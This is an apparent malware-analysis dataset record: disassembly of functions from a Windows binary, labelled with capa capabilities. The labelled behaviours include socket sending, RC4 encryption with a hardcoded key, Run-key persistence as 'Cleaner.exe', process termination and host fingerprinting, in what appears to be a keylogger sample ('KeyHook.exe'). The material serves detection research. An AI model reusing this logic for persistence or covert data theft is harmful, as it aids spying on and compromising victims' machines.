joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402230
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
mov eax, dword [0x5a2030]
xor eax, esp
mov dword [esp + 0x104], eax
push dword [0x5a3318]
lea eax, [esp + 4]
push 0x58244c
push 0x121a
push 0x100
push eax
call fcn.004025d0
mov ecx, dword [0x5a3308]
add esp, 0x14
cmp ecx, 0xffffffff
je 0x40228a
movzx eax, word [esp]
push 0
push eax
lea eax, [esp + 8]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.005296c8
mov esp, ebp
pop ebp
ret 4

Function at 0x4022a0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x101
lea eax, [ebp - 0x108]
mov dword [ebp - 0x210], ecx
push 0
push eax
mov ebx, edx
call fcn.0052b810
push 0x101
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.0052b810
mov eax, dword [0x5b1120]
add esp, 0x18
test al, 1
jne 0x402305
or eax, 1
mov esi, 0x34
mov dword [0x5b1120], eax
mov dword [0x5b1124], esi
jmp 0x40230b
mov esi, dword [0x5b1124]
xor eax, eax
lea ecx, [ecx]
mov byte [ebp + eax - 0x108], al
inc eax
cmp eax, 0x100
jb 0x402310
xor eax, eax
xor edx, edx
xor ecx, ecx
cmp eax, esi
cmove eax, ecx
mov cl, byte [eax + str.This__is__the_123___galaxy_____started__hao_ma]
inc eax
mov byte [ebp + edx - 0x20c], cl
inc edx
cmp edx, 0x100
jb 0x402323
xor edi, edi
xor esi, esi
jmp 0x402350
mov dl, byte [ebp + esi - 0x108]
movsx eax, byte [ebp + esi - 0x20c]
add edi, eax
movsx ecx, dl
add edi, ecx
and edi, 0xff
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
inc esi
mov byte [ebp + edi - 0x108], dl
cmp esi, 0x100
jb 0x402350
xor edi, edi
xor edx, edx
xor esi, esi
test ebx, ebx
je 0x4023f8
jmp 0x4023a0
inc edx
and edx, 0xff
mov cl, byte [ebp + edx - 0x108]
movsx eax, cl
add edi, eax
and edi, 0xff
movzx eax, byte [ebp + edi - 0x108]
mov byte [ebp + edx - 0x108], al
mov byte [ebp + edi - 0x108], cl
movsx eax, byte [ebp + edx - 0x108]
movsx ecx, cl
add ecx, eax
and ecx, 0xff
movzx eax, byte [ebp + ecx - 0x108]
mov ecx, dword [ebp - 0x210]
xor byte [ecx + esi], al
inc esi
cmp esi, ebx
jb 0x4023a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005296c8
mov esp, ebp
pop ebp
ret
Function at 0x402640
Capabilities:
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x20b]
mov byte [ebp - 0x20c], 0
push 0
push eax
call fcn.0052b810
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
call fcn.0052b810
add esp, 0x18
mov dword [ebp - 0x214], 0x104
push 0x104
push 0x5ad990
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Cleaner.exe
push 0x5ad990
lea eax, [ebp - 0x108]
push str._s_s
push eax
call fcn.00402c60
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40272b
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push 0x2001f
push 0
push 0x58244e
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40272b
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push str.KBDPATH
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x108]
lea eax, [ebp - 0x20c]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402780
test dl, dl
je 0x40277c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402780
add eax, 2
add ecx, 2
test dl, dl
jne 0x402760
xor eax, eax
jmp 0x402785
sbb eax, eax
or eax, 1
test eax, eax
je 0x4027bb
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402792
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.KBDPATH
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
Function at 0x4027e0
Capabilities:
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
call fcn.0052b810
push 0x103
lea eax, [ebp - 0x20b]
mov byte [ebp - 0x20c], 0
push 0
push eax
call fcn.0052b810
add esp, 0x18
mov dword [ebp - 0x218], 0x104
mov dword [ebp - 0x214], 3
push 0x104
push 0x5ad990
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Cleaner.exe
push 0x5ad990
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call fcn.00402c60
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4028d5
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push 0x2001f
push 0
push 0x58244e
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4028d5
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push str.KBDPATH
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp byte [ebp - 0x108], 3
jne 0x402949
push 0xc
lea eax, [ebp - 0x108]
mov dword [ebp - 0x108], 2
push eax
push 3
push 0
push str.KBDPATH
push dword [ebp - 0x210]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
mov byte [ebp - 0xfc], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
Function at 0x402970
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x124
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], 0
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x134], esi
call fcn.0052b810
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4029d2
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x402a5a
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a00
sub eax, edx
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.0052a0a9
add esp, 0xc
test eax, eax
jne 0x402a48
push dword [ebp - 0x128]
push eax
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402a42
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4029f4
push edi
call ebx
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005296c8
mov esp, ebp
pop ebp
ret

Function at 0x402cc0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x542a18
mov eax, dword fs:[0]
push eax
mov eax, 0xcf14
call fcn.0052c270
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0xcf1c]
mov dword [ebp - 0xcf1c], 8
push eax
mov dword [ebp - 0xcf18], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, edi
call fcn.004056a0
push 0
call fcn.004061b5
push 0xc
call fcn.00404ad2
add esp, 8
mov dword [ebp - 0xcf20], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x402d48
mov ecx, eax
call fcn.00406e24
mov esi, eax
jmp 0x402d4a
xor esi, esi
push str.Monitoring_status
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
call fcn.00407879
push str._onedriver_
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [edi + 0xcc], eax
test eax, eax
jne 0x402de0
push str._onedriver_
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [edi + 0xcc], eax
test eax, eax
je 0x402de0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402de0
push ecx
lea ecx, [ebp - 0xcf14]
call fcn.00403450
lea eax, [ebp - 0xcf14]
mov dword [ebp - 4], 1
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.00407fbf
test esi, esi
je 0x402dce
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
lea ecx, [ebp - 0xcf14]
mov dword [ebp - 4], 0xffffffff
call fcn.00402e00
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret
Function at 0x403530
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
call fcn.0040834c
push 0x80
push 0xffffffffffffffec
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 1
push 0
push 0
push 0xfffffe0c
push 0xfffffa24
push 0
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x104
push 0
push 0x5aeba0
call fcn.0052b810
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.KeyHook.exe
call edi
push 0x104
push 0x5aeba0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push 0x5aeba0
call fcn.0052a1d0
add esp, 8
test eax, eax
je 0x4035b0
mov byte [eax], 0
call fcn.00403a20
mov ecx, esi
call fcn.00403bc0
push str.IsWow64Process
push str.kernel32
mov dword [esi + 0xccf0], 0
mov dword [ebp - 4], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4035f7
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x4035fa
mov eax, dword [ebp - 4]
mov ecx, esi
mov dword [esi + 0xccf0], eax
call fcn.004037a0
push 0
push 0
push esi
push 0x402a80
push 0
push 0
mov dword [esi + 0xc4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc4], eax
test eax, eax
je 0x403642
push eax
call edi
mov dword [esi + 0xc4], 0
push 0
push 0
push esi
push 0x402ae0
push 0
push 0
mov dword [esi + 0xc8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc8], eax
test eax, eax
je 0x403677
push eax
call edi
mov dword [esi + 0xc8], 0
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403a20
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x104
push 0
push 0x5aea98
mov dword [ebp - 4], 0x104
call fcn.0052b810
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x5aea98
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x403a69
push str.MSSpec
push 0x104
push 0x5aea98
call fcn.0052a8eb
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x5ae990
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x403a93
push str.Admin_Default
push 0x104
push 0x5ae990
call fcn.0052a8eb
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x403f30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [ebp + 8], eax
pop ebp
jmp fcn.00407c59

Function at 0x403f70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403f85
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403fc4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x403fc0
lea ebx, [ebx]
cmp esi, edx
jae 0x403fc4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x403fb0
cmp esi, edx
jb 0x403fc9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4044f0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push 0x2000
push 0x2000
push 0x5aee00
call fcn.0052a475
add esp, 0x14
push 0x5aee00
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ebp
ret
Function at 0x407571
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x542d21
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.0052c270
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebp + 0x10]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edx
mov dword [ebp - 0x1028], ebx
cmp dword [ecx + 0x58], ebx
je 0x4076a5
push ebx
push eax
call fcn.004076f4
mov ebx, eax
test ebx, ebx
jne 0x4075d9
push esi
jmp 0x4076cd
call fcn.00409b29
push eax
lea ecx, [ebp - 0x1014]
call fcn.00403000
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x101c]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x1024], eax
test eax, eax
jne 0x407664
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.004031e0
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x101c]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x1024], eax
call fcn.00407818
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x1024], 0
jne 0x407692
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.004049f0
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.00403080
jmp 0x4076d4
push esi
mov ecx, edi
call fcn.004042c0
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x40768b
test esi, esi
jne 0x4076ae
mov esi, 0x58244e
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.004042c0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005296c8
mov esp, ebp
pop ebp
ret 0x10

Function at 0x407cb5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0040d60c
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x407cec
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00407d0d
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40f454
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x40f499
call fcn.0040d60c
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f499
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40f4b5
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004224f9
mov ebx, eax
test edi, edi
je 0x40f4b3
test esi, esi
je 0x40f4b3
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x416489
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x41651b
test esi, esi
je 0x41651b
push esi
call fcn.0052afc0
push 0xff
mov ebx, eax
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x103]
push 0
push eax
call fcn.0052b810
mov eax, 0x100
add esp, 0x10
cmp ebx, eax
ja 0x416500
push eax
lea eax, [ebp - 0x104]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
jne 0x416500
push esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x416508
push esi
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005296c8
mov esp, ebp
pop ebp
ret 8
call fcn.0040966b
int3
Function at 0x417cf5
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x230
mov eax, 0x543616
call fcn.0052b37e
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x230], ebx
call fcn.0040d60c
push ebx
mov ecx, dword [eax + 4]
call fcn.004072b9
mov esi, eax
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x234], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov eax, dword [edi]
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, edi
mov byte [ebp - 4], 1
call dword [eax + 0x20]
push 0x2001f
lea ecx, [ebp - 0x22c]
push dword [eax]
push esi
call fcn.00417aa4
mov ecx, dword [ebp - 0x21c]
mov ebx, eax
neg ebx
sbb bl, bl
lea ecx, [ecx - 0x10]
call fcn.00403080
inc bl
je 0x417ea3
xor ebx, ebx
lea eax, [ebp - 0x113]
push 0x103
push ebx
push eax
mov esi, ebx
mov byte [ebp - 0x114], bl
call fcn.0052b810
add esp, 0xc
mov dword [ebp - 0x21c], 0x104
lea eax, [ebp - 0x21c]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0x114]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
jmp 0x417e5f
push 0x103
lea eax, [ebp - 0x217]
mov dword [ebp - 0x21c], 0x104
push 0
push eax
inc esi
mov byte [ebp - 0x218], 0
call fcn.0052b810
add esp, 0xc
mov dword [ebp - 0x220], 0x104
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00417c93
test eax, eax
jne 0x417e4a
lea eax, [ebp - 0x114]
push eax
lea ecx, [edi + 4]
call fcn.00416c44
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.00404280
mov dword [ebp - 0x230], 1
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 0x22c]
call ebx
test eax, eax
je 0x417dcd
lea ecx, [ebp - 0x22c]
call fcn.0040729f
mov eax, dword [edi]
lea ecx, [ebp - 0x220]
push ecx
mov ecx, edi
call dword [eax + 0x20]
lea ecx, [ebp - 0x23c]
push dword [eax]
call fcn.0041727b
mov ecx, dword [ebp - 0x220]
add ecx, 0xfffffff0
call fcn.00403080
lea ecx, [ebp - 0x22c]
call fcn.0040729f
lea ecx, [ebp - 0x23c]
call fcn.0040729f
mov eax, dword [ebp - 0x230]
call fcn.0052b32d
ret
Function at 0x43874b
Capabilities:
Get disk information

Disassembly:
push 0x158
mov eax, 0x544a13
call fcn.0052b37e
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp + 0xc]
test esi, esi
mov edi, dword [ebp + 0x10]
setne al
mov dword [ebp - 0x158], esi
test eax, eax
jne 0x438779
call fcn.0040966b
xor eax, eax
test ebx, ebx
setne al
test eax, eax
je 0x438774
lea eax, [ebp - 0x154]
push eax
push esi
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4387c1
push 0xffffffffffffffff
push ebx
push 0x104
push esi
call fcn.0052c550
push eax
call fcn.00404870
add esp, 0x14
push ebx
push edi
call fcn.0043871e
xor eax, eax
jmp 0x4388e2
cmp eax, 0x104
jb 0x4387de
test edi, edi
je 0x4387ba
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.00404280
jmp 0x4387ba
call fcn.00409b29
push eax
lea ecx, [ebp - 0x15c]
call fcn.00403000
and dword [ebp - 4], 0
lea eax, [ebp - 0x15c]
push eax
push esi
call fcn.004380f9
mov esi, dword [ebp - 0x15c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsUNCA]
test eax, eax
jne 0x4388d7
xor ecx, ecx
lea eax, [ebp - 0x160]
push ecx
push ecx
push eax
lea eax, [ebp - 0x164]
push eax
push ecx
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x438849
push ebx
push edi
call fcn.0043871e
lea ecx, [esi - 0x10]
call fcn.00403080
jmp 0x4387ba
mov eax, dword [ebp - 0x160]
test al, 2
jne 0x438865
push dword [ebp - 0x158]
call dword [sym.imp.USER32.dll_CharUpperA]
mov eax, dword [ebp - 0x160]
test al, 4
jne 0x4388d7
lea eax, [ebp - 0x150]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4388d7
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x154]
test eax, eax
je 0x438835
cmp eax, dword [ebp - 0x158]
jbe 0x438835
lea eax, [ebp - 0x124]
push eax
call fcn.0052afc0
mov edx, dword [ebp - 0x154]
sub edx, dword [ebp - 0x158]
pop ecx
add eax, edx
mov ecx, 0x104
cmp eax, ecx
jge 0x4388ea
lea eax, [ebp - 0x124]
sub ecx, edx
push eax
push ecx
push dword [ebp - 0x154]
call fcn.0052a8eb
push eax
call fcn.00404870
add esp, 0x10
lea ecx, [esi - 0x10]
call fcn.00403080
xor eax, eax
inc eax
call fcn.0052b32d
ret 0xc
test edi, edi
je 0x43883c
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.00404280
jmp 0x43883c

Function at 0x44305e
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x5a2030]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x4430b3
xor eax, eax
test esi, esi
sete al
or eax, 0x4000
push eax
push 0x160
lea eax, [ebp - 0x26c]
push eax
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005296c8
mov esp, ebp
pop ebp
ret 4